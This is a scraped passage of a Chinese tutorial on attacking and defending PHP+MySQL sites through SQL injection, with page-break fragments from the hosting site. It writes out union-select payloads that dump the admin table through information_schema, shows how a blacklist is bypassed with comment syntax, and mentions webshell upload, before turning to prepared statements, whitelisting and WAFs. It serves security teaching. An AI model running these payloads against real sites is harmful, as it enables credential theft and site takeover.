#Web攻防系列教程之PHP+Mysql注入攻防实战_第1页
#Web攻防系列教程之PHP+Mysql注入攻防实战_第2页
#Web攻防系列教程之PHP+Mysql注入攻防实战_第3页
#Web攻防系列教程之PHP+Mysql注入攻防实战_第4页
#Web攻防系列教程之PHP+Mysql注入攻防实战_第5页
已阅读5页,还剩14页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、Web攻防系列教程之 PHP + Mysql 注入攻防实战摘要:随着 Web应用的高速发展和技术的不断成熟,对Web开发相关职位的需求量也越来越大,越来越多的人加入了 Web开发的行列。但是因为程序员的水平参差不齐或是安全意识太低,很多程序员在编写代码 时仅考虑了功能上的实现,很少或是根本没有考虑应用的安全性问题。这就导致了很多应用都存在不同程 度的安全漏洞。 SQL注入便是其中的一种。随着 Web应用的高速发展和技术的不断成熟,对Web开发相关职位的需求量也越来越大,越来越多的人加入了 Web开发的行列。但是因为程序员的水平参差不齐或是安全意识 太低,很多程序员在编写代码时仅考虑了功能上的实

2、现,很少或是根本没有考虑应用的安 全性问题。这就导致了很多应用都存在不同程度的安全漏洞。SQL注入便是其中的一种。SQL注入作为一种很流行的攻击手段,一直以来都受到网络安全研究者和黑客们的广 泛关注。那什么是 SQL注入呢? SQL注入是这样一种攻击技术:攻击者通过把恶意SQL命令插入到 Web表单的输入域或页面请求的查询字符串中,来达到欺骗服务器执行恶意的 SQL命令的一种攻击方式。SQL注入攻击概述SQL注入 ,1,151发现返回正常页面,说明数据库是mysql ,并且版本大于 4.0 ,支持 union 查询,反之是 4.0 以下版本或者其他类型数据库。接着我们再构造如下语句来暴表中字段

3、:a. order by 10返回错误页面,说明字段小于 10b. order by 5返回正常页面,说明字段介于 5 和 10 之间c. order by 7返回错误页面,说明字段大于 5 小于 7,可以判断字段数是6。下面我们再来确认一下d. order by 6返回正常页面,说明字段确实是 6这里采用了“二分查找法”,这样可以减少判断次数,节省时间。如果采用从order by 1/ 17依次增加数值的方法来判断,需要7 次才可以确定字段数,采用“二分查找法”只需要4次就够。当字段数很大时,二分查找法的优势更加明显,效率更高。下面我们构造如下的语句来确定哪些字段可以用来显示数据:union

4、 select 1,2,3,4,5,6图7根据返回信息,我们可以确定字段3,4,5,6 可以用来显示数据,如图 7 所示。那么我 们来构造下面的语句来得到一些数据库信息:union select 1,2,database(,version(,user(,6/ 17图8根据如图 8 所示的页面返回信息,我们可以得到如下信息:数据库名: cms数据库版本: 5.1.51-community用户名: rootlocalhost ,并且 Web系统和数据库在同一台服务器上我们还可以构造别的语句来得到其他信息,如操作系统和数据库路径等等,这里可以 自由发挥。根据上面的信息我们得知数据库为 5.0 以上版

5、本。在 mysql5.0 以上版本中增加 了一个系统库,叫 information_schema ,利用它我们可以直接暴库、表、字段。在 5.0 以 下的版本中只能通过暴力猜解的方式去获得表名和字段名。下面我们来构造SQL语句暴出 表名和字段名:/ 17暴表名union select 1,2,table_name,4,5,6 from information_schema.tables where table_schema=0 x636D73 limit 0,1注: table_schema= 库名 ,库名要转换成 16 进制。 Limit 0,1 中的 0表示查询库中 第一个表,依此类推。一

6、直暴到第十二个表,发现一个表名为 root 的表,怀疑是管理员表。接着暴出这个表 中的字段,构造如下 SQL语句:union select 1,2,column_name,4,5,6 from information_schema.columns where table_name=0 x726F6F74 limit 0,1最终确认此表存在三个字段,分别是 root_id 、 root_name 和 root_pass 。初步判断此 表应该是保存管理员账号和密码的。现在我们已经得到 root 表和其相应的字段名称。暴表中的内容构造如下 SQL语句:union select 1,2,root_id

7、,root_name,root_pass,6 from cms.root/ 17图9如图 9 所示,我们得到了管理员的账号和密码,密码是经过MD5加密的,经过解密后为 123456 。我们现在得到了管理员的账号和密码,只要找到管理员登录页面,就可以登录进入后台了。很快我们就找到了网站的后台地址:我们登录进去看下,如图 10 所示。图 10/ 17现在我们有了网站管理员的权限,可以随意更改网站的信息如添加、删除文章等),还可以结合其他漏洞上传一个 Webshell ,进一步提权获得服务器的系统权限。此处可以充 分发挥自己的想像力。因为本文主要讲述SQL注入,所以关于提权的问题请查阅其他资 料。工

8、具注入篇通过上面的介绍和手工注入实例,我们对SQL注入漏洞的原理和漏洞利用过程有了个完整的了解。读者可能也发现手工注入比较繁琐,效率比较低,而且容易出错。但是手工注入能够加深对漏洞原理和漏洞利用过程的理解。当我们对这些都非常了解以后,我们 可以利用工具来提高效率。现在有很多非常优秀的工具供我们选择,下面就演示一下利用工具进行 SQL注入。这里选用业界非常著名的 Havij 来做演示。首先,打开 Havij 软件, 界面如图 11 所示:/ 17图 11一切设置完毕后,选择“ Analyze ”,很快就返回了结果,如图 12和图 13所示。图 1214 / 17图 13SQL注入攻击防御上面我们

9、对 SQL注入的原理和危害进行了讲解,并以攻击者的角度对SQL注入漏洞的利用过程进行了演示。下面我们以管理者的身份,从防御的角度来谈一下SQL防注入。通过 SQL注入的原理我们得知,要想成功利用SQL注入漏洞,需要同时满足两个条件,一是攻击者可以控制用户的输入,二是注入的代码要被成功执行。下面的内容主要围绕这两 个方面来展开。/ 17 首先,我们需要对从其他地方传递过来的参数在进入数据库之前进行正确的处理。主要有 以下几个方面:1. 使用预编译语句,绑定变量。2. 对传入的参数进行验证,确保符合应用中定义的标准。主要有白名单和黑名单两种 方法来实现。从理论上来讲,白名单的安全性要比黑名单高,因

10、为它只允许在白名单中定 义的数据通过,其他数据都会被过滤掉。黑名单只会过滤定义在黑名单中的数据比如 SQL注入中的一些危险字符),通常使用正则表达式来实现。但需要注意的是,因为黑名单不 可能包含所有的危险字符,所以可能会出现黑名单被绕过的情况。例如在 mysql 注入中, 当在黑名单中过滤了空格字符,我们可以使用 /*mysql 中注释符) 和+ 来代替空格, 绕过黑名单的限制继续注入,因此我们应该尽量多使用白名单。除了对用户的输入进行了验证之外,有时因为程序员的安全意识和技术问题,也可能 只是一个小小的疏忽,都有可能产生SQL注入漏洞。还有一种情况是,我们发现了SQL注入漏洞,但是因为条件所限或者其他原因,不能从代码层来修复漏洞。比如在某一企业中 有一套 Web系统是由 A程序员开发的,过了一段时间 A 离职了。后来,发现这套系统存在 SQL注入漏洞,这时再让 A 程序员回来修复漏洞几乎是不可能的。而其他程序员因为对这 套系统不熟悉或是因为技术问题没有能力修复这个漏洞。这种情况在中小企业更为普遍。 这时我们虽然不能从代码层修复漏洞,但我们可以采用一些其他方式来阻止漏洞被利用成 功,把面临的风险降到最低。如可以布署WAFWe应b 用防火墙)来阻断 SQL注入攻击,虽/ 17WAF都是

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

最新文档

评论

0/150

提交评论